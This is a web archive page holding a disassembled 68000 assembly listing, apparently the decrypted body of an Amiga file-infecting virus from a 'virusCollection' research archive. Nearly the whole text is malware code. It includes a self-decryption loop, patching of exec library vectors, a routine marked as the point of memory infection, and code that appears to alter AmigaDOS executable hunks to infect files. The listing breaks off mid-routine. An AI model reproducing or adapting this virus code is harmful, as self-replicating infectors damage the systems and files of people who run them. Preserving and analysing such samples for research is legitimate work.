home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusResearch / beol96 / cls_infect_dec.asm < prev    next >
Assembly Source File  |  2012-10-12  |  24KB  |  938 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. CHK        EQU    $18
  6. EXT_0002    EQU    $3F2
  7. EXT_0003    EQU    $400
  8. EXT_0004    EQU    $600
  9. EXT_0005    EQU    $6F5
  10. EXT_0006    EQU    $1BC1
  11. EXT_0007    EQU    $DFF007
  12. EXT_0008    EQU    $68024178
  13.  
  14.  
  15.  
  16.  
  17.     SECTION S_0,CODE
  18.  
  19. SECSTRT_0:
  20.     JMP    EXT_0008        ;000: 4EF968024178
  21.     DC.W    $0038            ;006
  22.     MOVEA.L    (A7)+,A3        ;008: 265F
  23.     PEA    (1835).W        ;00A: 4878072B
  24.     MOVE.L    (A7)+,D3        ;00E: 261F
  25. LAB_0000:
  26.     MOVE.B    (A3),D4            ;010: 1813
  27.     ROL.B    #3,D4            ;012: E71C
  28.     MOVE.B    D4,(A3)            ;014: 1684
  29.     MOVE.B    (A3),D4            ;016: 1813
  30.     ROL.B    #3,D4            ;018: E71C
  31.     MOVE.B    D4,(A3)            ;01A: 1684
  32.     MOVE.L    (ABSEXECBASE).W,D5    ;01C: 2A380004
  33.     MOVEA.L    D5,A6            ;020: 2C45
  34.     DC.W    $0413            ;022
  35.     DC.W    $0E4F            ;024
  36.     PEA    (A3)            ;026: 4853
  37.     ADDQ.L    #1,(A7)            ;028: 5297
  38.     MOVEA.L    (A7)+,A3        ;02A: 265F
  39.     TST    D3            ;02C: 4A43
  40.     BEQ.S    LAB_0001        ;02E: 6706
  41.     SUBQ    #1,D3            ;030: 5343
  42.     BRA    LAB_0000        ;032: 6000FFDC
  43. LAB_0001:
  44.     MOVE    #$FD67,D2        ;036: 343CFD67
  45.     DC.W    $4EB6            ;03A
  46.     MOVE.L    (A5)+,D0        ;03C: 201D
  47.     LEA    LAB_0005(PC),A3        ;03E: 47FA003A
  48.     SUBQ.L    #6,A3            ;042: 5D8B
  49.     LEA    (EXT_0005).W,A4        ;044: 49F806F5
  50.     MOVE.L    A4,D2            ;048: 240C
  51. LAB_0002:
  52.     MOVE.B    (A3),D1            ;04A: 1213
  53.     ROL.B    #3,D1            ;04C: E719
  54.     MOVE.B    D1,(A3)            ;04E: 1681
  55.     MOVE.B    (A3),D1            ;050: 1213
  56.     ROL.B    #3,D1            ;052: E719
  57.     MOVE.B    D1,(A3)            ;054: 1681
  58.     MOVEQ    #1,D1            ;056: 7201
  59.     ADDA    D1,A3            ;058: D6C1
  60.     TST    D2            ;05A: 4A42
  61.     BEQ.S    LAB_0003        ;05C: 6706
  62.     SUBQ    #1,D2            ;05E: 5342
  63.     BRA    LAB_0002        ;060: 6000FFE8
  64. LAB_0003:
  65.     LEA    (EXT_0006).W,A0        ;064: 41F81BC1
  66.     DC.W    $2C68            ;068
  67.     ASR    #2,D3            ;06A: E443
  68.     PEA    LAB_0004(PC)        ;06C: 487A0006
  69.     JMP    -636(A6)        ;070: 4EEEFD84
  70. LAB_0004:
  71.     LEA    LAB_000A(PC),A0        ;074: 41FA018C
  72.     MOVE.L    (A0),D0            ;078: 2010
  73. LAB_0005:
  74.     SUBQ    #2,A0            ;07A: 5548
  75.     CMP.L    (A0),D0            ;07C: B090
  76.     BNE.S    LAB_0005        ;07E: 66FA
  77.     MOVE    #$4EF9,(A0)        ;080: 30BC4EF9
  78.     MOVE.L    -(A0),D2        ;084: 2420
  79.     LSL.L    #2,D2            ;086: E58A
  80.     ADDQ.L    #4,D2            ;088: 5882
  81.     MOVE.L    D2,6(A0)        ;08A: 21420006
  82.     MOVEA.L    D2,A0            ;08E: 2042
  83.     EORI    #$286F,(A0)        ;090: 0A50286F
  84.     LEA    LAB_0004(PC),A1        ;094: 43FAFFDE
  85.     MOVEA.L    58(A6),A0        ;098: 206E003A
  86.     MOVE    #$037A,D7        ;09C: 3E3C037A
  87. LAB_0006:
  88.     MOVE    (A1)+,(A0)+        ;0A0: 30D9
  89.     DBF    D7,LAB_0006        ;0A2: 51CFFFFC
  90.     PEA    -1400(A0)        ;0A6: 4868FA88
  91.     JMP    -636(A6)        ;0AA: 4EEEFD84
  92.     CLR    D5            ;0AE: 4245
  93.     DC.W    $4F4C            ;0B0
  94.     DC.W    $3936            ;0B2
  95.     EOR.B    D2,D0            ;0B4: B500
  96.     RTS                ;0B6: 4E75
  97.     SUB.B    D2,D0            ;0B8: 9002
  98.     RTS                ;0BA: 4E75
  99.     ROR.B    #3,D0            ;0BC: E618
  100.     RTS                ;0BE: 4E75
  101.     ADD.B    D2,D0            ;0C0: D002
  102.     RTS                ;0C2: 4E75
  103.     DC.W    $180C            ;0C4
  104.     BTST    D7,(A5)            ;0C6: 0F15
  105.     BTST    D7,(A0)+        ;0C8: 0F18
  106.     DC.W    $040D            ;0CA
  107.     MOVE.B    (A0),D0            ;0CC: 1010
  108.     DC.W    $110A            ;0CE
  109.     ROXL.B    #1,D1            ;0D0: E311
  110.     DC.W    $06E4            ;0D2
  111.     MOVE.B    D4,-(A0)        ;0D4: 1104
  112.     LSL.B    #4,D5            ;0D6: E90D
  113.     MOVE.B    3331(A0),(A1)+        ;0D8: 12E80D03
  114.     MOVEP    4112(A1),D1        ;0DC: 03091010
  115.     DC.W    $0203            ;0E0
  116.     ROL.B    #3,D0            ;0E2: E718
  117.     MOVEP    784(A1),D1        ;0E4: 03090310
  118.     OR.B    (A2),D0            ;0E8: 8012
  119.     ADDX.B    D0,D0            ;0EA: D100
  120.     DC.W    $041C            ;0EC
  121.     DC.W    $0A13            ;0EE
  122.     MOVEP    16890(A1),D0        ;0F0: 010941FA
  123.     DC.W    $0E00            ;0F4
  124.     MOVEP    16890(A1),D0        ;0F6: 010941FA
  125.     DC.W    $0F0C            ;0FA
  126.     BCHG    D4,(A1)            ;0FC: 0951
  127.     OR.B    D1,D4            ;0FE: 8801
  128.     BCHG    D4,D1            ;100: 0941
  129.     DC.W    $FA10            ;102
  130.     DC.W    $0C09            ;104
  131.     ADDQ.L    #8,A0            ;106: 5088
  132.     DC.W    $0448            ;108
  133.     MOVEQ    #14,D5            ;10A: 7A0E
  134.     DC.W    $0109            ;10C
  135.     MOVEA.L    (A7)+,A0        ;10E: 205F
  136.     DC.W    $0004            ;110
  137.     MOVE.B    (A3)+,-(A0)        ;112: 111B
  138.     MOVE.L    D1,-(A3)        ;114: 2701
  139.     DC.W    $0841            ;116
  140.     DC.W    $F804            ;118
  141.     DC.W    $06F5            ;11A
  142.     BTST    D1,D2            ;11C: 0302
  143.     DC.W    $0820            ;11E
  144.     DC.W    $0800            ;120
  145.     MOVEP.L    30726(A0),D2        ;122: 05487806
  146.     DC.W    $F501            ;126
  147.     DC.W    $0220            ;128
  148.     MOVE.B    D0,-(A7)        ;12A: 1F00
  149.     BTST    D0,D2            ;12C: 0102
  150.     MOVE    #$0B06,D0        ;12E: 303C0B06
  151.     DC.W    $06F5            ;132
  152.     DC.W    $0C02            ;134
  153.     SUBQ    #8,D0            ;136: 5140
  154.     BTST    D0,D2            ;138: 0102
  155.     MOVE    #$0606,D0        ;13A: 303C0606
  156.     DC.W    $F502            ;13E
  157.     DC.W    $0206            ;140
  158.     NEGX.B    D7            ;142: 4007
  159. LAB_0007:
  160.     OR.L    D5,D0            ;144: 8085
  161.     OR.L    D2,-(A7)        ;146: 85A7
  162.     DC.W    $CC09            ;148
  163.     DC.W    $7D2F            ;14A
  164.     ADDQ.B    #8,D7            ;14C: 5007
  165.     DC.W    $0409            ;14E
  166.     MOVE.B    (A7)+,-(A2)        ;150: 151F
  167.     DC.W    $0209            ;152
  168.     ADDQ    #1,A0            ;154: 5248
  169.     DC.W    $0002            ;156
  170.     MOVEP.L    20484(A0),D4        ;158: 09485004
  171.     ADDQ.L    #1,(A7)            ;15C: 5297
  172.     DC.W    $0109            ;15E
  173.     MOVEA.L    (A7)+,A0        ;160: 205F
  174.     DC.W    $0001            ;162
  175.     DC.W    $0370            ;164
  176.     BTST    D0,D3            ;166: 0103
  177.     BTST    D4,D3            ;168: 0903
  178.     ADDA    D0,A0            ;16A: D0C0
  179.     DC.W    $0003            ;16C
  180.     MOVEP    4120(A1),D1        ;16E: 03091018
  181.     DC.W    $0027            ;172
  182.     DC.W    $0409            ;174
  183.     MOVE.B    (A1),-(A0)        ;176: 1111
  184.     DC.W    $0202            ;178
  185.     DC.W    $51C8            ;17A
  186.     DC.W    $0A02            ;17C
  187.     ANDI    #$4004,(A3)        ;17E: 02534004
  188.     DC.W    $6A00            ;182
  189.     DC.W    $0A02            ;184
  190.     DC.W    $024A            ;186
  191.     NEGX.B    D4            ;188: 4004
  192.     BEQ.S    LAB_0008+2        ;18A: 6706
  193.     DC.W    $0202            ;18C
  194.     SUBQ    #1,D0            ;18E: 5340
  195. LAB_0008:
  196.     SUBI    #$000A,-(A0)        ;190: 0460000A
  197.     AND.B    D4,D0            ;194: C004
  198.     BTST    D7,(A3)+        ;196: 0F1B
  199.     MOVE.L    D5,-(A3)        ;198: 2705
  200.     PEA    LAB_0009(PC)        ;19A: 487A0006
  201.     DC.W    $054E            ;19E
  202.     DC.W    $EEFD            ;1A0
  203. LAB_0009:
  204.     OR.B    D0,D2            ;1A2: 8400
  205.     BTST    D0,D7            ;1A4: 0107
  206.     LEA    1789(A6),A0        ;1A6: 41EE06FD
  207.     OR.B    D2,D2            ;1AA: 8402
  208.     DC.W    $074E            ;1AC
  209.     DC.W    $A807            ;1AE
  210.     BTST    D0,D1            ;1B0: 0101
  211.     MOVE    #$08FD,D0        ;1B2: 303C08FD
  212.     OR.B    D4,D2            ;1B6: 8404
  213.     DC.W    $4EB6            ;1B8
  214.     BTST    D4,D1            ;1BA: 0901
  215.     DC.W    $054E            ;1BC
  216.     DC.W    $AEFD            ;1BE
  217.     OR.B    D0,D2            ;1C0: 8400
  218.     DC.W    $040A            ;1C2
  219.     MOVE.B    -(A4),D4        ;1C4: 1824
  220.     BTST    D2,30720(A4)        ;1C6: 052C7800
  221.     DC.W    $0400            ;1CA
  222.     BTST    D0,D0            ;1CC: 0100
  223.     MOVEQ    #4,D0            ;1CE: 7004
  224.     BTST    D1,D6            ;1D0: 0306
  225.     DC.W    $0020            ;1D2
  226.     NEGX.B    D2            ;1D4: 4002
  227.     DC.W    $062C            ;1D6
  228.     ADDQ.B    #8,D0            ;1D8: 5000
  229.     BTST    D0,D0            ;1DA: 0100
  230.     MOVE.L    (EXT_0003).W,D0        ;1DC: 20380400
  231.     SUBI.B    #$2C,D2            ;1E0: 0402002C
  232.     NEGX.B    D0            ;1E4: 4000
  233.     BTST    D0,D6            ;1E6: 0106
  234.     LEA    (EXT_0004).W,A0        ;1E8: 41F80600
  235.     DC.W    $0402            ;1EC
  236.     DC.W    $062C            ;1EE
  237.     DC.W    $6807            ;1F0
  238.     BSR.S    LAB_000A        ;1F2: 610E
  239.     LEA    56(A7),A0        ;1F4: 41EF0038
  240.     MOVEA.L    (A0),A6            ;1F8: 2C50
  241.     MOVE.L    D2,(A0)            ;1FA: 2082
  242.     MOVEM.L    (A7)+,D0-D7/A0-A5    ;1FC: 4CDF3FFF
  243.     RTS                ;200: 4E75
  244. LAB_000A:
  245.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;202: 48E7FFFE
  246.     JSR    -132(A6)        ;206: 4EAEFF7C
  247.     MOVEQ    #13,D1            ;20A: 720D
  248.     LEA    LAB_000E(PC),A1        ;20C: 43FA002A
  249.     MOVEA.L    420(A6),A0        ;210: 206E01A4
  250.     BSR.S    LAB_000C        ;214: 6110
  251.     MOVEA.L    406(A6),A0        ;216: 206E0196
  252.     BSR.S    LAB_000C        ;21A: 610A
  253.     JSR    -138(A6)        ;21C: 4EAEFF76
  254.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;220: 4CDF7FFF
  255. LAB_000B:
  256.     RTS                ;224: 4E75
  257. LAB_000C:
  258.     TST.L    (A0)            ;226: 4A90
  259.     BEQ.S    LAB_000B        ;228: 67FA
  260.     CMP.B    8(A0),D1        ;22A: B2280008
  261.     BNE.S    LAB_000D        ;22E: 6604
  262.     MOVE.L    A1,180(A0)        ;230: 214900B4
  263. LAB_000D:
  264.     MOVEA.L    (A0),A0            ;234: 2050
  265.     BRA.S    LAB_000C        ;236: 60EE
  266.  
  267. * POINT OF MEMORY INFECTION JUMP *
  268.  
  269. LAB_000E:
  270.     MOVEM.L    D1-D7/A0-A6,-(A7)    ;238: 48E77FFE
  271.     MOVEA.L    (ABSEXECBASE).W,A6    ;23C: 2C780004
  272.     MOVEA.L    276(A6),A3        ;240: 266E0114
  273.     LEA    70(A3),A3        ;244: 47EB0046
  274.     BSR    LAB_0037        ;248: 610002D0
  275.     MOVEA.L    D0,A5            ;24C: 2A40
  276.     LEA    (CHK).W,A4        ;24E: 49F80018
  277.     ADDA.L    10(A5),A4        ;252: D9ED000A
  278.     BSR.S    LAB_000A        ;256: 61AA
  279.     NOT.B    9(A5)            ;258: 462D0009
  280.     BMI.S    LAB_0013        ;25C: 6B3E
  281.     MOVE.L    -20(A4),D6        ;25E: 2C2CFFEC
  282.     MOVEA.L    D6,A0            ;262: 2046
  283.     TST.L    96(A0)            ;264: 4AA80060
  284.     BNE.S    LAB_0013        ;268: 6632
  285.     MOVE.L    -16(A4),D0        ;26A: 202CFFF0
  286.     BSR.S    LAB_0010        ;26E: 611E
  287.     DC.W    $040A            ;270
  288.     DC.W    $0032            ;272
  289.     BSET    D1,330(A7)        ;274: 03EF014A
  290.     BSET    D1,164(A5)        ;278: 03ED00A4
  291.     ORI    #$0150,(A2)        ;27C: 00520150
  292.     ORI.B    #$22,(A0)+        ;280: 00180022
  293.     ORI.B    #$1E,(A7)        ;284: 0017001E
  294. LAB_000F:
  295.     ADDA    (A0),A0            ;288: D0D0
  296.     JSR    (A0)            ;28A: 4E90
  297.     BRA.S    LAB_0012        ;28C: 600A
  298. LAB_0010:
  299.     MOVEA.L    (A7)+,A0        ;28E: 205F
  300. LAB_0011:
  301.     CMP    (A0)+,D0        ;290: B058
  302.     BEQ.S    LAB_000F        ;292: 67F4
  303.     MOVEA    (A0)+,A1        ;294: 3258
  304.     BLT.S    LAB_0011        ;296: 6DF8
  305. LAB_0012:
  306.     CLR.B    9(A5)            ;298: 422D0009
  307. LAB_0013:
  308.     MOVE.L    A5,D0            ;29C: 200D
  309.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;29E: 4CDF7FFE
  310.     RTS                ;2A2: 4E75
  311.     SUBA.L    A0,A0            ;2A4: 91C8
  312.     MOVE.L    102(A3),D0        ;2A6: 202B0066
  313.     LSL.L    #2,D0            ;2AA: E588
  314.     BEQ.S    LAB_001A        ;2AC: 6760
  315.     MOVE.L    16(A0,D0.L),D0        ;2AE: 20300810
  316.     LSL.L    #2,D0            ;2B2: E588
  317.     BEQ.S    LAB_001A        ;2B4: 6758
  318.     MOVEA.L    D0,A0            ;2B6: 2040
  319.     MOVEQ    #0,D0            ;2B8: 7000
  320.     MOVE.B    (A0)+,D0        ;2BA: 1018
  321.     ADDA    D0,A0            ;2BC: D0C0
  322.     BSR.S    LAB_0015        ;2BE: 6114
  323.     BCLR    D1,-(A0)        ;2C0: 03A0
  324.     SUB    A0,D4            ;2C2: 9848
  325.     BRA.S    LAB_0014        ;2C4: 6002
  326.     SUB    A0,D0            ;2C6: 9048
  327. LAB_0014:
  328.     MOVE.L    A0,D0            ;2C8: 2008
  329.     NEGX.B    (A0)+            ;2CA: 4018
  330.     MOVEQ    #40,D0            ;2CC: 7028
  331.     DC.W    $1058            ;2CE
  332.     DC.W    $9078            ;2D0
  333.     DC.W    $B8FF            ;2D2
  334. LAB_0015:
  335.     MOVEA.L    (A7)+,A1        ;2D4: 225F
  336.     BRA.S    LAB_0017        ;2D6: 6002
  337. LAB_0016:
  338.     ADDA    D7,A1            ;2D8: D2C7
  339. LAB_0017:
  340.     MOVEQ    #0,D7            ;2DA: 7E00
  341.     MOVE.B    (A1)+,D7        ;2DC: 1E19
  342.     BMI.S    LAB_001A        ;2DE: 6B2E
  343.     MOVEA.L    A0,A2            ;2E0: 2448
  344. LAB_0018:
  345.     MOVE.B    -(A2),D0        ;2E2: 1022
  346.     LSL.B    #3,D0            ;2E4: E708
  347.     CMP.B    (A1)+,D0        ;2E6: B019
  348.     BNE.S    LAB_0016        ;2E8: 66EE
  349.     DBF    D7,LAB_0018        ;2EA: 51CFFFF6
  350.     MOVEQ    #36,D0            ;2EE: 7024
  351.     ADD.L    (A4),D0            ;2F0: D094
  352.     LSL.L    #2,D0            ;2F2: E588
  353.     MOVEA.L    D0,A0            ;2F4: 2040
  354.     MOVEA.L    A0,A1            ;2F6: 2248
  355.     BSR.S    LAB_001B        ;2F8: 6116
  356.     BNE.S    LAB_001A        ;2FA: 6612
  357.     ADDA    D0,A0            ;2FC: D0C0
  358.     MOVEQ    #3,D7            ;2FE: 7E03
  359. LAB_0019:
  360.     MOVE.B    (A0)+,D0        ;300: 1018
  361.     ROR    #8,D0            ;302: E058
  362.     DBF    D7,LAB_0019        ;304: 51CFFFFA
  363.     BEQ.S    LAB_001A        ;308: 6704
  364.     MOVE.L    D0,-20(A1)        ;30A: 2340FFEC
  365. LAB_001A:
  366.     RTS                ;30E: 4E75
  367. LAB_001B:
  368.     MOVEQ    #0,D0            ;310: 7000
  369.     MOVE.B    (A0),D0            ;312: 1010
  370.     SUBQ    #4,D0            ;314: 5940
  371.     BLT.S    LAB_001C        ;316: 6D04
  372.     TST.B    1(A0,D0.W)        ;318: 4A300001
  373. LAB_001C:
  374.     RTS                ;31C: 4E75
  375.     BSR    LAB_0025        ;31E: 6100008C
  376.     TST.L    -12(A4)            ;322: 4AACFFF4
  377.     BEQ.S    LAB_001C        ;326: 67F4
  378.     MOVEQ    #65,D0            ;328: 7041
  379.     LSL.L    #2,D0            ;32A: E588
  380.     MOVEQ    #1,D1            ;32C: 7201
  381.     JSR    -684(A6)        ;32E: 4EAEFD54
  382.     MOVE.L    D0,(A3)            ;332: 2680
  383.     BEQ.S    LAB_001C        ;334: 67E6
  384.     MOVEA.L    D0,A2            ;336: 2440
  385.     LEA    LAB_003A(PC),A0        ;338: 41FA0210
  386.     BSR.S    LAB_0022        ;33C: 6152
  387.     MOVEA.L    124(A2),A0        ;33E: 206A007C
  388.     SUBQ    #3,124(A2)        ;342: 576A007C
  389.     BGE.S    LAB_001D        ;346: 6C02
  390.     ADDQ    #8,D5            ;348: 5045
  391. LAB_001D:
  392.     BGE.S    LAB_0025        ;34A: 6C60
  393.     MOVE.L    A0,D5            ;34C: 2A08
  394.     ADDA    #$0802,A0        ;34E: D0FC0802
  395.     MOVE.L    A0,D0            ;352: 2008
  396.     MOVEQ    #1,D1            ;354: 7201
  397.     JSR    -684(A6)        ;356: 4EAEFD54
  398.     MOVE.L    D0,(A2)+        ;35A: 24C0
  399.     MOVE.L    D5,(A2)            ;35C: 2485
  400.     ADD.L    D0,(A2)+        ;35E: D19A
  401.     MOVE.L    D0,(A2)+        ;360: 24C0
  402.     BEQ.S    LAB_001E        ;362: 6706
  403.     LEA    132(A2),A0        ;364: 41EA0084
  404.     BSR.S    LAB_001B        ;368: 61A6
  405. LAB_001E:
  406.     BEQ.S    LAB_0025        ;36A: 6740
  407.     ADDQ.B    #4,(A0)            ;36C: 5810
  408.     LEA    5(A0,D0.W),A1        ;36E: 43F00005
  409.     CLR.B    (A1)+            ;372: 4219
  410. LAB_001F:
  411.     MOVE.B    D5,(A1)+        ;374: 12C5
  412.     LSR.L    #8,D5            ;376: E08D
  413.     BNE.S    LAB_001F        ;378: 66FA
  414.     MOVE.L    D4,(A2)+        ;37A: 24C4
  415.     MOVE.L    4(A4),D0        ;37C: 202C0004
  416.     LSL.L    #2,D0            ;380: E588
  417.     MOVEA.L    D0,A0            ;382: 2040
  418.     MOVE.B    (A0)+,D0        ;384: 1018
  419.     MOVE.B    D0,(A2)+        ;386: 14C0
  420. LAB_0020:
  421.     MOVE.B    (A0)+,(A2)+        ;388: 14D8
  422.     SUBQ.B    #1,D0            ;38A: 5300
  423.     BGT.S    LAB_0020        ;38C: 6EFA
  424. LAB_0021:
  425.     RTS                ;38E: 4E75
  426. LAB_0022:
  427.     LEA    16(A4),A1        ;390: 43EC0010
  428.     MOVEQ    #9,D1            ;394: 7209
  429. LAB_0023:
  430.     MOVE.L    -(A1),-(A7)        ;396: 2F21
  431.     DBF    D1,LAB_0023        ;398: 51C9FFFC
  432.     JSR    (A0)            ;39C: 4E90
  433.     LEA    -24(A4),A1        ;39E: 43ECFFE8
  434.     MOVEQ    #9,D1            ;3A2: 7209
  435. LAB_0024:
  436.     MOVE.L    (A7)+,(A1)+        ;3A4: 22DF
  437.     DBF    D1,LAB_0024        ;3A6: 51C9FFFC
  438.     RTS                ;3AA: 4E75
  439. LAB_0025:
  440.     MOVE.L    (A3),D0            ;3AC: 2013
  441.     BEQ.S    LAB_0021        ;3AE: 67DE
  442.     SUBA.L    A1,A1            ;3B0: 93C9
  443.     MOVEA.L    8(A1,D0.L),A1        ;3B2: 22710808
  444.     BSR.S    LAB_0026        ;3B6: 6104
  445.     MOVEA.L    (A3),A1            ;3B8: 2253
  446.     CLR.L    (A3)            ;3BA: 4293
  447. LAB_0026:
  448.     JMP    -690(A6)        ;3BC: 4EEEFD4E
  449.     MOVE.L    (A3),D0            ;3C0: 2013
  450.     BEQ.S    LAB_0025        ;3C2: 67E8
  451.     MOVEA.L    D0,A2            ;3C4: 2440
  452.     LEA    LAB_0038(PC),A0        ;3C6: 41FA0162
  453.     BSR.S    LAB_0022        ;3CA: 61C4
  454.     BRA.S    LAB_0025        ;3CC: 60DE
  455.     MOVE.L    (A3),D0            ;3CE: 2013
  456.     BEQ.S    LAB_0021        ;3D0: 67BC
  457.     MOVEA.L    D0,A2            ;3D2: 2440
  458.     MOVEA.L    (A2)+,A1        ;3D4: 225A
  459.     MOVE.L    -12(A4),D0        ;3D6: 202CFFF4
  460.     BEQ.S    LAB_0021        ;3DA: 67B2
  461.     MOVE.L    D0,D5            ;3DC: 2A00
  462.     ADDA.L    D0,A1            ;3DE: D3C0
  463.     CMPA.L    (A2),A1            ;3E0: B3D2
  464.     BGT.S    LAB_0025        ;3E2: 6EC8
  465.     MOVE.L    A1,-(A2)        ;3E4: 2509
  466.     SUBA.L    D0,A1            ;3E6: 93C0
  467.     MOVEA.L    (A4),A0            ;3E8: 2054
  468.     JSR    -624(A6)        ;3EA: 4EAEFD90
  469.     CMP.L    4(A4),D5        ;3EE: BAAC0004
  470.     BEQ.S    LAB_0021        ;3F2: 679A
  471.     MOVEA.L    (A2)+,A1        ;3F4: 225A
  472.     CMPA.L    (A2)+,A1        ;3F6: B3DA
  473. LAB_0027:
  474.     BNE.S    LAB_0025        ;3F8: 66B2
  475.     MOVEA.L    (A2),A2            ;3FA: 2452
  476.     SUBI.L    #$000003F3,(A2)+    ;3FC: 049A000003F3
  477.     BNE.S    LAB_0025        ;402: 66A8
  478.     MOVE.L    A1,-(A7)        ;404: 2F09
  479.     MOVE    #$06F5,D5        ;406: 3A3C06F5
  480.     ADDA    #$0702,A1        ;40A: D2FC0702
  481.     LEA    LAB_0056(PC),A0        ;40E: 41FA035A
  482.     BSR    LAB_003D        ;412: 61000176
  483.     ADDQ    #4,A2            ;416: 584A
  484.     MOVEA.L    A2,A0            ;418: 204A
  485.     MOVE.L    (A0),D4            ;41A: 2810
  486.     ADDQ.L    #1,(A0)            ;41C: 5290
  487.     ADDQ.L    #8,A0            ;41E: 5088
  488.     ADDQ.L    #1,(A0)+        ;420: 5298
  489.     LSL.L    #2,D4            ;422: E58C
  490.     ADDA.L    D4,A0            ;424: D1C4
  491.     LSR.L    #2,D4            ;426: E48C
  492.     MOVEQ    #0,D3            ;428: 7600
  493.     MOVEQ    #-8,D7            ;42A: 7EF8
  494. LAB_0028:
  495.     MOVE.L    (A0)+,D0        ;42C: 2018
  496.     SUBI    #$03E8,D0        ;42E: 044003E8
  497.     BPL.S    LAB_002B        ;432: 6A04
  498. LAB_0029:
  499.     MOVE.L    (A7)+,D0        ;434: 201F
  500. LAB_002A:
  501.     BNE.S    LAB_0027        ;436: 66C0
  502. LAB_002B:
  503.     CMPI    #$000B,D0        ;438: 0C40000B
  504.     BGE.S    LAB_0029        ;43C: 6CF6
  505.     MOVE.B    LAB_002C(PC,D0.W),D0    ;43E: 103B0006
  506.     JMP    LAB_002C(PC,D0.W)    ;442: 4EFB0002
  507. LAB_002C:
  508.     DC.W    $440C            ;446
  509.     DC.W    $0C4C            ;448
  510.     MOVE.L    -4370(A6),(A6)+        ;44A: 2CEEEEEE
  511.     MOVEA    D4,A4            ;44E: 3844
  512.     ADDQ.B    #8,D0            ;450: 5000
  513.     MOVE.L    (A0)+,D1        ;452: 2218
  514.     TST.L    D7            ;454: 4A87
  515.     BPL.S    LAB_002D        ;456: 6A04
  516.     ADD.L    A0,D7            ;458: DE88
  517.     EOR    D2,(A0)            ;45A: B550
  518. LAB_002D:
  519.     CMPI    #$4E75,2(A0)        ;45C: 0C684E750002
  520.     BEQ.S    LAB_0029        ;462: 67D0
  521.     LSL.L    #2,D1            ;464: E589
  522.     ADDA.L    D1,A0            ;466: D1C1
  523. LAB_002E:
  524.     TAS    D3            ;468: 4AC3
  525.     BEQ.S    LAB_0028        ;46A: 67C0
  526.     SUBQ    #1,D4            ;46C: 5344
  527.     BEQ.S    LAB_0029        ;46E: 67C4
  528.     BRA.S    LAB_0028        ;470: 60BA
  529. LAB_002F:
  530.     MOVE.L    (A0)+,D1        ;472: 2218
  531.     BEQ.S    LAB_0028        ;474: 67B6
  532.     ADDQ.L    #1,(A0)+        ;476: 5298
  533.     LSL.L    #2,D1            ;478: E589
  534.     ADDA.L    D1,A0            ;47A: D1C1
  535.     BRA.S    LAB_002F        ;47C: 60F4
  536. LAB_0030:
  537.     MOVE.L    (A0)+,D1        ;47E: 2218
  538.     BEQ.S    LAB_0028        ;480: 67AA
  539.     LSL.L    #2,D1            ;482: E589
  540.     LEA    4(A0,D1.L),A0        ;484: 41F01804
  541.     BRA.S    LAB_0030        ;488: 60F4
  542.     MOVE.L    (A0)+,D1        ;48A: 2218
  543.     LSL.L    #2,D1            ;48C: E589
  544.     ADDA.L    D1,A0            ;48E: D1C1
  545.     BRA.S    LAB_0028        ;490: 609A
  546.     ADDQ.L    #4,A0            ;492: 5888
  547.     BRA.S    LAB_002E        ;494: 60D2
  548.     MOVEQ    #0,D3            ;496: 7600
  549.     SUBQ    #1,D4            ;498: 5344
  550.     BNE.S    LAB_0028        ;49A: 6690
  551.     MOVE.L    A0,D3            ;49C: 2608
  552.     CMP.L    (A7)+,D3        ;49E: B69F
  553.     BNE.S    LAB_002A        ;4A0: 6694
  554.     LEA    LAB_0033(PC),A0        ;4A2: 41FA004A
  555.     BSR.S    LAB_0031        ;4A6: 6104
  556.     LEA    LAB_0032(PC),A0        ;4A8: 41FA0006
  557. LAB_0031:
  558.     BRA    LAB_0022        ;4AC: 6000FEE2
  559. LAB_0032:
  560.     MOVEQ    #8,D0            ;4B0: 7008
  561.     MOVEQ    #-1,D1            ;4B2: 72FF
  562.     MOVEM.L    D0-D1,(A4)        ;4B4: 48D40003
  563.     MOVE    #$03F0,D0        ;4B8: 303C03F0
  564.     BSR.S    LAB_0035        ;4BC: 6148
  565.     MOVE.L    A2,(A4)            ;4BE: 288A
  566.     MOVEQ    #12,D0            ;4C0: 700C
  567.     MOVE.L    D0,4(A4)        ;4C2: 29400004
  568.     MOVEQ    #87,D0            ;4C6: 7057
  569.     BSR.S    LAB_0035        ;4C8: 613C
  570.     ADDQ    #8,A2            ;4CA: 504A
  571.     MOVE.L    D5,(A2)            ;4CC: 2485
  572.     SUB.L    A2,D7            ;4CE: 9E8A
  573.     MOVE.L    A2,(A4)            ;4D0: 288A
  574.     MOVE.L    D7,4(A4)        ;4D2: 29470004
  575.     ADD.L    A2,D7            ;4D6: DE8A
  576.     BSR.S    LAB_0036        ;4D8: 6130
  577.     ADDQ    #3,D5            ;4DA: 5645
  578.     LSL.L    #2,D5            ;4DC: E58D
  579.     MOVEM.L    D3/D5,(A4)        ;4DE: 48D40028
  580.     BSR.S    LAB_0036        ;4E2: 6126
  581.     SUB.L    D7,D3            ;4E4: 9687
  582.     MOVE.L    D7,(A4)            ;4E6: 2887
  583.     MOVE.L    D3,4(A4)        ;4E8: 29430004
  584.     BRA.S    LAB_0036        ;4EC: 601C
  585. LAB_0033:
  586.     MOVEQ    #0,D1            ;4EE: 7200
  587. LAB_0034:
  588.     CLR.L    -4(A4)            ;4F0: 42ACFFFC
  589.     MOVEQ    #16,D0            ;4F4: 7010
  590.     ADD.L    (A3),D0            ;4F6: D093
  591.     MOVEA.L    D0,A0            ;4F8: 2040
  592.     MOVE.L    -(A0),(A4)        ;4FA: 28A0
  593.     LSR.L    #2,D0            ;4FC: E488
  594.     MOVEM.L    D0-D1,4(A4)        ;4FE: 48EC00030004
  595.     MOVEQ    #21,D0            ;504: 7015
  596. LAB_0035:
  597.     MOVE    D0,-14(A4)        ;506: 3940FFF2
  598. LAB_0036:
  599.     MOVEA.L    A5,A1            ;50A: 224D
  600.     MOVEA.L    D6,A0            ;50C: 2046
  601.     PEA    22(A3)            ;50E: 486B0016
  602.     MOVE.L    (A7)+,-20(A4)        ;512: 295FFFEC
  603.     JSR    -366(A6)        ;516: 4EAEFE92
  604. LAB_0037:
  605.     PEA    22(A3)            ;51A: 486B0016
  606.     MOVEA.L    (A7),A0            ;51E: 2057
  607.     JSR    -384(A6)        ;520: 4EAEFE80
